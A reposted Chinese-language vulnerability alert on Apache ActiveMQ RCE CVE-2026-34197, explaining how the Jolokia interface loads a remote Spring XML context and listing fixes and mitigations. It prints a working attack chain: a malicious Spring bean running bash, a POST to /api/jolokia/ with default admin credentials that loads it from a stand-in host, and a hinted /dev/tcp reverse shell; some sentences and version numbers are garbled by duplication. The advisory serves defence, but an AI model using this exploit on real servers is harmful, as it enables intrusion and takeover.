文章总结: ApacheActiveMQ爆出高危RCE漏洞CVE-2026-34197,攻击者通过Jolokia接口利用SpringXML注入可在认证后执行任意系统命令。影响5.x系列<5.19.4和6.x系列<6.2.3版本。建议立即升级至安全版本,或采取隔离控制台、修改默认口令、封堵Jolokia接口等临时缓解措施。 综合评分: 85 文章分类: 漏洞预警,漏洞分析,应急响应,WEB安全,解决方案
紧急预警!Apache ActiveMQ 爆出高危 RCE 漏洞 (CVE-2026-34197)
Web安全工具库
2026年4月10日 10:07 河南
#
如果你公司的业务里用到了 Apache ActiveMQ,这两天可能又要忙着打补丁了。
就在刚刚,安全圈爆出了一个针对 Apache ActiveMQ 的高危漏洞,编号为 CVE-2026-34197。这是一个典型的输入验证不当加上代码注入导致的远程代码执行(RCE)漏洞。如果你的 ActiveMQ Web 控制台对外开放,并且攻击者拿到了控制台的访问权限,他就能直接在你的服务器 JVM 上执行系统命令!
今天我们就从底层原理到利用链,彻底把这个漏洞扒清楚,顺便聊聊怎么防。
一、漏洞速览:到底是个什么级别的雷?
在展开技术细节之前,我们先过一遍这个漏洞的核心画像:
-
• 漏洞编号: CVE-2026-34197
-
• 影响组件: Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ Classic
-
• 漏洞类型: CWE-20(输入验证不当)、CWE-94(代码注入)
-
• 漏洞危害: 认证后的攻击者可远程执行任意代码(RCE),直接拿下服务器权限。
-
• 受影响版本:
-
• 5.x 系列:**< 5.19**< 5.19.4**
-
• 6.x 系列:>= 6.0.0 且 < 6.2.3
-
• **安全安全版本(官方修复): 5.19.4 和 6.2.3
一句话总结:虽然需要认证,但只要能登录虽然需要认证,但只要能登录 Web 控制台,就能通过管理接口反弹 Shell。
二、原理解析:一条精巧的 Spring XML 投毒链
作为安全工程师,咱们不能只知其然不知其所以然。这个漏洞是怎么触发的呢?核心问题出在 **Jolokia JMX-HTTPJolokia JMX-HTTP 桥接接口 和 Spring 的 Bean 实例化机制 配合上。
1. 暴露的管理接口 /api/jolokia//api/jolokia/`
Apache ActiveMQ Classic 的 Web 控制台默认会在 /api/jolokia/ 暴露一个 Jolokia 接口。Jolokia 是干嘛的?它允许你通过 HTTP 请求去管理和操作后端的 JMX MBeans。
2. 权限策略过于宽泛
问题在于,Jolokia 默认的访问策略允许对所有的 ActiveMQ MBeans (org.apache.activemq:*) 执行 exec(执行)操作。
这就包含了两个非常危险的方法:
- •
BrokerService.addNetworkConnector(String) - •
BrokerService.addConnector(String)
3. 致命的 Spring 加载机制
攻击者调用上述方法时,可以传入一个精心构造的 discovery URI(发现地址)。这个 URI 会触发 VM 传输的 brokerConfig 参数去加载一个远程的 Spring XML 应用上下文。
最坑的地方来了:ActiveMQ 使用了 ResourceXmlApplicationContext 来加载这个 XML。**在 BrokerService 对配置进行安全校验之前,Spring 就会把 XML 里面定义的所有单例 Bean 全部实例化!在 BrokerService 对配置进行安全校验之前,Spring 就会把 XML 里面定义的所有单例 Bean 全部实例化! 如果攻击者在 XML 里利用 Runtime.exec() 之类的工厂方法写了恶意代码,代码在“安全检查”之前就已经执行完毕了。
三、攻击推演与代码案例
为了让大家更直观地理解,我们来模拟一下攻击者的视角。
第一步:构造恶意的 Spring XML 文件
攻击者会在自己的公网服务器(假设 IP 是 http://hacker.com/evil.xml)上挂载一个 XML 文件,里面利用 Spring Bean 的生命周期来执行系统命令。
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>touch /tmp/hacked_by_CVE_2026_34197</value>
</list>
</constructor-arg>
</bean>
</beans>
第二步:发送恶意 HTTP 请求
攻击者带着认证凭据(比如默认账号密码 admin/admin),向 ActiveMQ 服务器的 Jolokia 接口发送 POST 请求,调用 addConnector 方法并让其加载恶意的 XML:
POST /api/jolokia/ HTTP/1.1
Host: target-activemq:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addConnector",
"arguments": ["vm://localhost?brokerConfig=xbean:http://hacker.com/evil.xml"]
}
第三步:运行结果
当 ActiveMQ 解析到 brokerConfig=brokerConfig=xbean:http://… 时,Spring 开始加载 evil.xml 并实例化 pwn` 这个 Bean。
如果你登录目标服务器,敲下以下命令:
ls -l /tmp/hacked*
你会看到:
-rw-r--r-- 1 activemq activemq 0 Apr 09 21:00 /tmp/hacked_by_CVE_2026_34197
文件被成功创建,说明 RCE 已成功触发。 如果攻击者把命令换成反弹 Shell(如 bashbash -i >& /dev/tcp/…`),服务器就彻底沦陷了。
四、排查与防范指南
面对这种中间件级别的高危漏洞,动作必须要快。建议各位开发和运维兄弟按以下步骤处理:
1. 治本:立刻升级版本
这是最推荐的方案。Apache 官方已经修复了该问题,在实例化 Bean 之前加入了严格的校验。
- • 如果你用的是 5.x 版本,立刻升级到 5.19.4。
- • 如果你用的是 6.x 版本,立刻升级到 **66.2.3。
2. 治标:临时缓解措施
如果线上业务极其复杂,深夜无法立刻停机升级,可以采取以下临时措施保命:
- • 隔离 Web 控制台: 绝不要把 ActiveMQ 的 8161 端口暴露在公网上。利用防火墙或安全组,将 Web 控制台的访问权限严格限制在内网管理 IP 范围内。
- • 修改默认口令: 这个漏洞的前提是“Authenticated(认证后)”。很多公司部署完直接用的
admin/admin,请马上修改conf/users.properties中的默认密码。 - • 封堵 Jolokia 接口: 如果不需要通过 HTTP 管理 JMX,可以在 Nginx 反向代理层直接拦截
/api/jolokia/api/jolokia/` 的请求:
location /api/jolokia/ {
return 403; # 直接拒绝访问
}
安全无小事,尤其是涉及 Java 反序列化、JNDI 注入以及这种基于 Spring XML 动态加载的漏洞,一旦被勒索软件盯上,后果不堪设想。今天下班前,赶紧查查公司的资产台账吧!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Web安全工具库 《紧急预警!Apache ActiveMQ 爆出高危 RCE 漏洞 (CVE-2026-34197)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论